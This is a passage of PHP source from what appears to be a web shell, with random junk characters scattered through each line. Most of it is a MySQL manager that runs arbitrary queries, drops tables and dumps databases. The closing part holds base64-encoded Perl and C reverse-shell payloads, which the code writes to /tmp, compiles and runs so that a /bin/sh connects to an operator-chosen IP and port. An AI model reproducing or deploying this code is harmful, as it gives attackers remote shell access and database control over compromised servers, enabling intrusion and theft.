- $delete_sql = "DELETE FROM $tablename WHERE $where";) F. F0 F' M+ H& N
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);/ t& ^# M9 a4 e o
- m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
8 h7 A {0 X; E; G# @: |: S - }
2 ?) a5 {) w1 c7 Q7 O1 A -
' b' ]9 G6 k; F9 X+ R; u+ u - if ($tablename && $doing == 'drop') {( { M/ H8 ]' k# d1 N" c8 O
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
4 K# a6 @$ A0 e0 H; m5 c" Y! f; } - if (q("DROP TABLE $tablename")) {/ Q) ^4 }7 {5 v3 I2 x- w8 t
- m('Drop table of success');" e! r, k: z% `0 r
- $tablename = '';2 @" q; e' \% v- j% y
- } else {% N2 R+ X0 V! ^3 }* {( Z
- m(mysql_error());! w: q2 a8 O d0 j% O7 ?
- }0 U, d' s) O/ n1 c! n2 K, W
- }
! [! A- o! O+ f5 G( y -
5 `# B5 k( N4 l$ T" V - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
/ u/ E% K$ d, c; w7 a! U' F - 0 z0 j9 M$ n! v( f
- formhead(array('title'=>'MYSQL Manager'));
. V$ n0 O* y H2 N3 K. t5 s$ U" @ - makehide('action','sqladmin');' t' }5 W6 f4 {- k" M
- p('<p>');* z2 S" j/ e$ ] |, L+ ^. G
- p('DBHost:');
' k! t* y& m3 ?7 _( F - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
, J. u, d# J" A, M - p(':');
K- I$ i# e& D+ k' T/ [8 \ R - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));2 R! ~2 F- Q% o" s/ S
- p('DBUser:');/ h T7 n/ N( A( B4 v# b# ~
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));$ @3 m4 y% S3 o% {" e
- p('DBPass:');
5 u' |! `, q: g& e( Q; H - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
: h% H3 Z5 @: L0 e5 X+ U - p('DBCharset:');& ?4 @6 ], |7 e9 Z* t% t
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
7 U- Q" f( }5 Y; l8 |5 \ - makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
5 K8 d1 J9 k; s3 n - p('</p>');
2 c/ J& ^& Q5 |& ^ - formfoot();
* Y- ` w4 N% [' w5 k - ?>
3 o& I; `$ A$ c& M: a( ^0 |# Q4 y - <script type="text/javascript">
- E8 F6 r; {' H0 g. d - function editrecord(action, base64, tablename){
3 E* a3 y6 S6 a* ^. d - if (action == 'del') { - E& L5 q0 G) [/ @" T
- if (!confirm('Is or isn\'t deletion record?')) return;8 D1 E: a3 [- c m% I
- }" D s) X7 P" S" c, o2 f) m- P
- $('recordlist').doing.value=action;( V* B: R8 W) p9 g8 M
- $('recordlist').base64.value=base64;
i5 o+ N; c% l0 Z0 l; U7 y - $('recordlist').tablename.value=tablename;
. V2 _! B: B1 i5 D$ A; C4 ^0 _$ B - $('recordlist').submit();. z% @0 \( W) `9 w s7 A) a3 f B
- }
/ ]9 I: [- ^+ a; e. h/ e/ ~ - function moddbname(dbname) {& u3 E5 P N" v. ]& ?: V" c
- if(!dbname) return;
7 K0 T- o9 m' A+ k - $('setdbname').dbname.value=dbname;# r/ z( {6 |! a# q) u2 E* L2 P
- $('setdbname').submit();3 h! C- w+ ` [& \# l' k
- }
( O; D% o& z( X' m, H - function settable(tablename,doing,page) {
1 s' L0 i0 H% ~& [ n: f - if(!tablename) return;2 ]# D8 I1 V: Q1 k8 i6 B* S$ X
- if (doing) {9 x7 i: \/ `& X) [
- $('settable').doing.value=doing;( B& N% ^$ @. ]+ l1 E4 e4 T
- }
! h6 x( g) ]0 C, c( G- ? - if (page) {7 f* W9 A! ^# k5 Y& G( Z
- $('settable').page.value=page; A) D2 X2 e% V
- }
% O% Y0 h" B# ^ ?) ] - $('settable').tablename.value=tablename;% ?9 T' r* v3 x
- $('settable').submit();
; v1 _/ _$ ~1 D+ v - }; P, P" q) o& s; r' w" y0 a
- </script>
$ O) k1 s7 I/ W0 x) r6 c - <?php; J. c8 G, [, C2 z4 S: X: D1 P
- //操作记录8 c' w$ M" O. z* }9 n6 k9 d
- formhead(array('name'=>'recordlist'));1 x4 v$ G0 a1 \5 u8 A9 w0 J
- makehide('doing');4 s3 ~3 q& x# N# R2 ]3 \
- makehide('action','sqladmin');- _4 g, J8 c4 l) G) G) n( s
- makehide('base64');. ]6 k1 j6 D3 ? O9 F& m& p4 b
- makehide('tablename');
; L. ^. n% A0 I8 I! J* B - p($dbform);+ _3 b$ l1 i1 Q& G4 u
- formfoot();
0 _8 {+ E9 _9 U5 q* o; N, z2 J - //选定数据库- w3 ?3 P# [! n& d. F4 [0 T* N
- formhead(array('name'=>'setdbname'));3 P8 K3 i# t L e
- makehide('action','sqladmin');% T% \$ ]9 u$ { E$ z9 _0 \8 b4 e. a
- p($dbform);% h# z: {2 c/ I. v( m- s2 y8 d" f
- if (!$dbname) {, c3 ]- U" H% U3 C* W
- makehide('dbname');( t1 i5 l/ u) S4 p+ r' Y5 \
- }3 } e3 }, z6 s$ g. ^
- formfoot();
4 ], B9 @4 I. l2 w - //选定表$ o/ w8 H8 m. ?) I) p$ h
- formhead(array('name'=>'settable'));# `* G8 W+ l4 N
- makehide('action','sqladmin');/ w/ I. R1 [. X: |" K
- p($dbform);* C1 y' K" S5 F+ F, m% c
- makehide('tablename');
- d. D" U, A6 k% Z - makehide('page',$page);
1 h( e/ Y% [8 D' G( W6 Z - makehide('doing');7 e, ]8 x4 V: S0 a' ]
- formfoot();
" U' s# M/ C, _+ a - $cachetables = array(); " G8 |& e) N4 A
- $pagenum = 30;
; q& @3 v f- F- F* P - $page = intval($page);
' J) V' }4 m4 l0 u - if($page) {) W$ c/ r; a8 o- _) B7 q
- $start_limit = ($page - 1) * $pagenum;+ s) U+ a* F6 q9 n* @
- } else { z2 Q8 N$ S! H' M; @+ ^
- $start_limit = 0;
5 J( o& o i0 _2 Q; X: r - $page = 1;# I7 e+ X5 V7 i3 F# V q
- }
2 m; [( b5 I d - if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {/ v) o" m5 E o' K" v4 {4 i( H e7 P
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);1 l5 {& M' V- z. J5 D5 C
- //获取数据库信息6 a6 B) B- t6 j/ M0 T
- $mysqlver = mysql_get_server_info();
" z: l3 @2 G1 [8 h$ @+ L - p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');) i0 H8 E. T0 H& |$ K: j
- $highver = $mysqlver > '4.1' ? 1 : 0;8 P7 G, ~5 D8 P
- //获取数据库
: T7 u. u9 K* Z; g4 L- S - $query = q("SHOW DATABASES");
# {& O6 a& w! j& N: {; C - $dbs = array();
) `4 b- Y% k9 \! _! R; T - $dbs[] = '-- Select a database --';
/ p4 ]8 r2 c2 o3 [2 C - while($db = mysql_fetch_array($query)) {
1 I- \) o$ e, o3 b - $dbs[$db['Database']] = $db['Database'];8 o! e! P/ e7 Q/ U
- }
2 m6 Y. z' t& k& M - makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));. [5 ]) O6 l, [% G' H
- $tabledb = array();1 |9 B" ]0 P1 m o: n, i
- if ($dbname) {% d9 b- t) R% D0 z' ]
- p('<p>');
`; B5 v/ N2 }! l. H" x6 \4 e - p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');0 s8 u, |. {% T2 I8 }! S+ x
- if ($tablename) {% u; K$ M% V7 x6 G
- p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
0 i0 G5 m& W$ @) v8 T2 Y - }0 a; \' |- X. U, d
- p('</p>');
5 y* G' F( y' M/ H; [ V) [+ C - mysql_select_db($dbname);1 A7 q+ Z1 V) R
- $getnumsql = '';8 }' A1 c. o) Y! z$ K# T! G
- $runquery = 0;# @7 [1 K3 x/ x8 X
- if ($sql_query) {" u% z8 `% ]5 u# @3 T) J- r
- $runquery = 1;
- ?* x/ w+ K4 v E - }, Y1 R$ n& _2 f4 J
- $allowedit = 0;9 m/ n/ W5 J' ^
- if ($tablename && !$sql_query) {
4 c2 ^% O. N) c$ F, K - $sql_query = "SELECT * FROM $tablename";- m% v1 t' i, D9 L$ e% c @; ^
- $getnumsql = $sql_query;1 H/ D$ v9 }) ^; U X9 z4 ~
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum";$ m' B3 Y6 F4 q# Y8 {# q4 h1 C% u
- $allowedit = 1;
. u9 g& M2 F* R# G' k/ p* V9 U/ j - }5 b I' o8 G% i5 v( h8 z
- p('<form action="'.$self.'" method="POST">');) }- |" b* [5 z# R9 R' ~2 P' U1 d
- p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
4 K: Z' c0 l. L9 h0 z1 R - makehide('tablename', $tablename);0 g5 V: }2 u' Y7 h; v
- makehide('action','sqladmin');
5 v+ h' B4 \) d1 Z' G! H. p - p($dbform);
6 F+ `7 ~- K, w P5 W) H - p('</form>');
8 r" L6 h& G; q/ y$ L3 ], ^8 s - if ($tablename || ($runquery && $sql_query)) {1 |7 y' Z4 A9 E# f+ p
- if ($doing == 'structure') {
" O- W( f2 u' `. U: s6 W - $result = q("SHOW COLUMNS FROM $tablename");
- c& s, n( a2 A$ c4 M' \ - $rowdb = array();
0 k# N w( M# x6 { - while($row = mysql_fetch_array($result)) {
. `( s- i4 b4 ` - $rowdb[] = $row;. w: \, S- G1 }& Q; ~
- }+ E H0 H( o( o
- p('<table border="0" cellpadding="3" cellspacing="0">');
( O3 q) s1 L1 E/ W0 U - p('<tr class="head">');
1 \* X* ?0 C+ R2 X6 c - p('<td>Field</td>');
+ ]% I# H: m$ _6 B7 F - p('<td>Type</td>');' u$ u/ {* }8 N2 I. K& d
- p('<td>Null</td>');
. O# Y: i4 U9 L% }) [3 o# G! q: c - p('<td>Key</td>');
1 Z @" Q8 L) ~7 U( d: w1 i - p('<td>Default</td>');
4 r7 z% G( r- @) W# Y3 f7 ^& p* B - p('<td>Extra</td>');
{& k( R3 g! m1 } - p('</tr>');
6 V# z/ Z- e Q$ ?9 [ - foreach ($rowdb as $row) {0 H" T% q1 S: |( a! O
- $thisbg = bg();, k$ ^. g% D. f3 h5 D5 F: C- J
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
- e) L! y. M$ q- H - p('<td>'.$row['Field'].'</td>');! a6 @; C# g1 x0 o" `! J1 b; q5 B
- p('<td>'.$row['Type'].'</td>'); i+ d" W: Q# A. u6 k
- p('<td>'.$row['Null'].' </td>');
& l* \1 T' [+ J8 X L Y8 M - p('<td>'.$row['Key'].' </td>');
+ @( k, T! }# K8 U+ p6 ?$ T - p('<td>'.$row['Default'].' </td>');: K: N w+ t1 K0 O2 V. N
- p('<td>'.$row['Extra'].' </td>');
' x. p4 _, N/ ^+ k0 I k% B& C0 v - p('</tr>');% Y4 V& K A. T
- }
% u2 N4 [! k# t8 K! ] - tbfoot();8 c9 a+ |! z3 O* J
- } elseif ($doing == 'insert' || $doing == 'edit') {) ]' _' m- E- U% y9 i$ s
- $result = q('SHOW COLUMNS FROM '.$tablename);
& V' X) a" B# o - while ($row = mysql_fetch_array($result)) {3 a4 H, ~9 C& {0 L
- $rowdb[] = $row;
2 \ G. ^. |8 _* f - }$ l( W1 Q* N) u
- $rs = array();
3 i4 J8 M5 q6 n4 |" F- s0 m - if ($doing == 'insert') {
. ]2 {$ g5 N: i! D# x' h, ? - p('<h2>Insert new line in '.$tablename.' table »</h2>');
9 P/ P( l% i1 A1 D9 ? - } else {6 @* \7 U- m+ G$ L* O
- p('<h2>Update record in '.$tablename.' table »</h2>');2 J# H Z, k4 i v( x
- $where = base64_decode($base64);
9 }0 _6 e( r7 F3 f/ c( h; S Q/ y6 D - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");( ^: z% L* P- N* E* K$ i# U5 {
- $rs = mysql_fetch_array($result);
; @2 O# v$ T" Q! Q( t, h# ^' m - }
y2 L2 a4 N- R# u: t5 Z) L - p('<form method="post" action="'.$self.'">');
( \) m. ~+ \1 I1 f9 q - p($dbform);) W8 K3 Y2 C3 L+ D: q; o
- makehide('action','sqladmin'); m ]( f" k& c- }
- makehide('tablename',$tablename);
' N* h0 c' S8 G$ W4 d - p('<table border="0" cellpadding="3" cellspacing="0">');$ }$ Q' y; _4 e9 C. t4 O
- foreach ($rowdb as $row) {# Z9 g8 n& M, ^0 V* \7 R4 y
- if ($rs[$row['Field']]) {
s9 V0 p- x2 P# s- j- C - $value = htmlspecialchars($rs[$row['Field']]);2 b1 s5 {" a0 P9 N/ K- a
- } else {! J. c( c# ?" z5 B: J
- $value = '';
3 c, S. I3 S' W$ _5 H - }
5 b; y$ C0 ~ ?6 f {2 K. E4 b - $thisbg = bg();
7 V- r1 G& \- v8 o - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');7 A6 j9 M+ Z7 m1 V1 w
- p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');, h0 [1 ^8 \- A* ^
- }
3 ?8 K3 u& a9 t: i1 K! a7 y0 F - if ($doing == 'insert') {) z6 y3 J( I+ K8 }5 Q- B
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
* x. Z/ ~& s; h; m - } else {
- `) X2 i0 P9 q7 T1 y5 ]- G# n - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
F$ ]6 L& g. C - makehide('base64', $base64);$ P" f+ C" A& ]3 p. E2 ]' F
- }/ V8 S; r' H: [
- p('</table></form>');2 |# [% z2 x/ L
- } else {5 }6 p& V$ h' q0 J/ Y% Y. y7 ^& a. T# U' d' o
- $querys = @explode(';',$sql_query);
7 M' y' `- q) B+ @# d6 t/ f: q0 t - foreach($querys as $num=>$query) {
2 m8 G5 ^! h& _" K! [3 A& Q - if ($query) {7 X6 L* @+ u6 W* L1 i
- p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
" x$ o+ T2 E9 y$ s/ F# a9 {7 x - switch(qy($query))
/ `3 b/ |- }) v0 _* e - {' i' D& `8 P/ W; F+ x3 Q
- case 0:
1 ?# r% ?3 M, K$ o. } k* E3 u - p('<h2>Error : '.mysql_error().'</h2>');
% R3 E: t( W+ w& d - break; 6 B; ~5 s7 i3 a& b& U
- case 1:
& A# }. \. `1 t0 I* c - if (strtolower(substr($query,0,13)) == 'select * from') {
3 Q8 a; P* K; Y5 p& _9 F - $allowedit = 1;
9 i/ a+ ] ?( A) G4 M. m - }# d0 u/ d, N1 J# F& y. G% V
- if ($getnumsql) {& w" [! d1 i4 v8 D5 Y! d3 c7 s5 D
- $tatol = mysql_num_rows(q($getnumsql));; ?4 N# z6 ]! }0 K
- $multipage = multi($tatol, $pagenum, $page, $tablename);/ r. Z6 k8 }0 W( `0 }/ \. s
- }' c6 [( y$ U6 A7 J
- if (!$tablename) {
% p( E4 f2 x* ^0 h - $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));9 T# n, G- s ~9 ]! t. T& K
- $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);8 P9 `7 W. D7 q, k4 M$ [3 Y
- preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
3 W9 M: Z: _" A - $tablename = $matches[1][0];* y1 p2 l0 X/ G6 I
- }
2 I% M5 q" i/ E - $result = q($query);3 o4 s9 F) y1 J: c3 B ]
- p($multipage);
" @9 C& Z, N9 A. V3 K: q - p('<table border="0" cellpadding="3" cellspacing="0">');
6 x- A" [! c( u1 Z - p('<tr class="head">');1 J( A, c6 @9 g) t, ]0 L% a
- if ($allowedit) p('<td>Action</td>');
+ f7 U" k; m2 t, N( T j0 u8 d2 Z - $fieldnum = @mysql_num_fields($result);' @7 M4 t+ g! ]+ R) R
- for($i=0;$i<$fieldnum;$i++){
4 f0 q0 c' I7 O. G - $name = @mysql_field_name($result, $i);$ F( D) @$ A9 f& ^; a
- $type = @mysql_field_type($result, $i);) n. j. u3 K* T" m1 C6 W
- $len = @mysql_field_len($result, $i);# `+ k1 G, v$ x, e# `" H: O
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
! N. A4 W; Y: d2 N1 X E% U - }3 r) \! f' ]1 ^- _
- p('</tr>');" g& M9 w5 O F K+ a @! H% [
- while($mn = @mysql_fetch_assoc($result)){
8 c9 B( v9 z8 R# _# k - $thisbg = bg();5 Y5 I7 [7 y* b& o
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');& N# u+ }$ b3 u* V* a. a" O2 I
- $where = $tmp = $b1 = '';9 [6 J$ [2 R7 E6 w: c y: @$ O
- foreach($mn as $key=>$inside){% ^* v$ E7 W+ d. P
- if ($inside) {/ S" z* d' H9 K# K7 D7 `* e
- $where .= $tmp.$key."='".addslashes($inside)."'";
4 m/ \! O: L) i - $tmp = ' AND ';" N( g' d+ D; i! {+ ^
- }7 c) s; M/ S" |5 X0 z9 P/ k; g
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';# y. T1 |" o9 i4 [. p2 }
- }
7 y1 S, r) S y9 t: ^ - $where = base64_encode($where);
" v4 s. M: T: ?# A - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
, t* Z) i, v; E8 I: | - p($b1);, j: O; x$ l6 y& N6 _' N
- p('</tr>');; f5 F5 J) T9 T7 y/ N
- unset($b1);
; x& f' P* \& x, Y - }5 v3 Z9 _- Z g1 l \. y( P
- tbfoot();% M. w: i% t( W O8 ^4 x$ k
- p($multipage);5 I. y R% p K1 X. b# {" c. e( f
- break; 0 P3 T8 a6 t# Z7 p& n. f1 t
- case 2:
2 k$ E; s' c7 n - $ar = mysql_affected_rows();/ r; [* Z( Y! n; y4 p) L4 X$ S
- p('<h2>affected rows : <b>'.$ar.'</b></h2>');% l/ {) v' Y; O7 j
- break;
! p" z7 M1 w( c( W - }
6 `* f# w* G/ f ]! ` - }
}, v; M( g4 B0 o - }
6 v4 q/ P/ B4 L/ [( r0 Z& T6 c - }" _) Q4 T' [& Q
- } else {
2 H& a! ? r! U; X1 Z" T - $query = q("SHOW TABLE STATUS");# D. @ j' F" _; r% \: o
- $table_num = $table_rows = $data_size = 0;
5 f$ u P8 v1 y$ c - $tabledb = array();
; Y8 W& {" ^$ W: p f. b - while($table = mysql_fetch_array($query)) {0 U# P$ c) y$ w! g, H" D0 p
- $data_size = $data_size + $table['Data_length'];8 a4 h4 ?0 q4 k7 m. p
- $table_rows = $table_rows + $table['Rows'];3 C& Z- ]- e" {- t
- $table['Data_length'] = sizecount($table['Data_length']);% N6 L! e! k+ W/ |
- $table_num++;
- u8 t1 ]7 x. d; H' Y - $tabledb[] = $table;: N! L( A* e* o3 K0 Y) p+ ~ P
- }& s% e3 S4 K9 R
- $data_size = sizecount($data_size);
8 x" {) ~4 q" D4 b" n% W5 a - unset($table);3 d1 V- }1 R! X, Z& `5 G# c* T# s5 m
- p('<table border="0" cellpadding="0" cellspacing="0">');' c5 }$ G+ j# Y# c+ J; Y
- p('<form action="'.$self.'" method="POST">');, u+ {% E% _" ]/ ~
- makehide('action','sqladmin');
3 a/ D% k2 b8 p - p($dbform);0 j5 }; w" m |3 ]: N# w& {, z- d5 k
- p('<tr class="head">');
5 K5 P$ e2 ?* J, s, y& M) J( ~ - p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1 c4 g& ]& s6 g1 H* d- ? - p('<td>Name</td>');% h. F+ C% u+ ^ J
- p('<td>Rows</td>');& T: ~2 h6 {2 ?0 Z( a* Q
- p('<td>Data_length</td>');/ b3 {3 M. Q! J s( v' i2 U6 s
- p('<td>Create_time</td>');
3 \" G0 w( ]/ O3 g6 ?# V - p('<td>Update_time</td>');0 m* R( l6 C+ S6 y+ A
- if ($highver) {
% E4 N, j, j+ J/ \/ v - p('<td>Engine</td>');" S! C1 |4 i7 a2 Z
- p('<td>Collation</td>'); f6 O% `% t7 `- B% T+ b
- }) S& w& U E% [. Z- Q0 N2 b
- p('</tr>');
" E8 V: M2 h# y; r. ? - foreach ($tabledb as $key => $table) {) r& e. `. C% R' V! S$ m* j7 H9 X
- $thisbg = bg();
6 a( r$ {5 g4 R - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');2 V! Y4 m" P, }3 l$ a5 B- q
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');: n K( @/ t* R1 n
- p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
" l4 N0 P* X+ O# p - p('<td>'.$table['Rows'].'</td>');
) m" V5 x+ |6 z! A - p('<td>'.$table['Data_length'].'</td>');
7 S4 Y/ E' U# `7 p - p('<td>'.$table['Create_time'].'</td>');
% `8 {: z1 E" V3 T" T/ r4 y - p('<td>'.$table['Update_time'].'</td>');. p2 }: S% }" E6 e
- if ($highver) {3 c* t3 ]/ h* O" e& {7 W M* l/ i
- p('<td>'.$table['Engine'].'</td>');
' ^4 ]4 m* @, K - p('<td>'.$table['Collation'].'</td>');
4 }; t! E% Q6 `% \# M0 V, m S; d - }
% t' e' f7 o+ [- \% e - p('</tr>');8 i* J7 c3 q$ F9 {3 ~6 ]+ u7 { [
- }# J" T3 t' u- U
- p('<tr class='.bg().'>');
6 f. ^, A8 j& l1 p t2 j - p('<td> </td>');* s9 V, V' R& W. f1 A3 `* O
- p('<td>Total tables: '.$table_num.'</td>');7 g3 D" Y" N% X7 Z
- p('<td>'.$table_rows.'</td>');
4 W+ O+ w) g5 v - p('<td>'.$data_size.'</td>');' j% u) R7 I! V6 B
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');- t9 I. h, C1 ^9 D
- p('</tr>');
" v5 o |+ T" f! _/ y& F - p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
% {3 ^/ P! m$ Q' ? - makehide('doing','backupmysql');
2 |4 n C: Y: J. q - formfoot();) h! ^" v7 N; W3 P
- p("</table>");' Y9 N2 |4 o" h! \6 p6 b4 E
- fr($query);
/ }; m9 P& u6 o% N; q - }7 x3 l+ Q7 D1 I" \& Y$ H
- }) @& p1 E0 _) Y- {5 d9 w
- }6 W' H9 r" W* [! N+ g
- tbfoot();
2 W6 \* ` b9 D, V2 j' I% H - @mysql_close();- N$ S5 e7 ~3 b. m: s
- }//end sql backup! J- M% f$ @, |
- elseif ($action == 'backconnect') {
% x0 s6 J' H* N - !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
4 B( L# |2 ]0 o; q7 S E0 ~ - !$yourport && $yourport = '12345';
$ L4 w* p2 V8 S" X( ^: J) ] - $usedb = array('perl'=>'perl','c'=>'c');- L3 e8 U( h+ C5 x; S6 w
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
2 q$ N3 {1 u4 M. Y+ Q) W! j5 e - "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
/ r% h9 a+ C, G7 H - "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
. q4 E) R7 f4 G3 I- U9 Q - "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
( q0 o% n4 Y/ q0 G - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".* r+ W8 z9 q5 a1 Y# g; q8 f
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".2 A6 j* W' g+ |. S
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
7 l3 z2 J/ D7 z: E - $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
4 }: q% W: `3 u) O3 o - "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".) A3 P L' }' L4 h5 b6 X5 A
- "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
6 l6 ?( ~# \" E' b - "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".+ Y1 G @* }% A0 `1 Z
- "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".5 `+ p0 a3 {+ g3 o! y( [
- "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D"./ l1 f6 y$ d- L* T% H
- "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
3 E V5 M7 p, D/ G; s/ M" _7 B' S$ F - "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
! l4 E6 j8 v+ B - if ($start && $yourip && $yourport && $use){
: w' F Y& y" O( L y3 Z - if ($use == 'perl') {% q+ Q$ w! Q* N+ i- O
- cf('/tmp/angel_bc',$back_connect);* M; @; m0 J, N
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
7 M" e% c/ Q/ h% ~0 v _ M - } else {0 Y- {& Y* E5 u4 Z
- cf('/tmp/angel_bc.c',$back_connect_c);# b5 j2 Y" [7 \) ] a! H. k
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');8 s2 j [( n4 ^7 f* A+ B+ c
- @unlink('/tmp/angel_bc.c');6 e0 q7 z% {+ p3 F7 }
- $res = execute("/tmp/angel_bc $yourip $yourport &");+ V" G3 _0 t' D0 F1 Q2 q+ {: O% i
- }1 } J- ]4 ]5 {' }+ ~
- m("Now script try connect to $yourip port $yourport ...");
' q% r7 `2 F; h0 t3 Z3 \ - }
' ]% y4 u6 Z) b8 k! l0 X* Z - formhead(array('title'=>'Back Connect'));
. A! c. m. P0 I9 e4 L& I# c - makehide('action','backconnect');: w6 h2 M1 W S) v
- p('<p>');
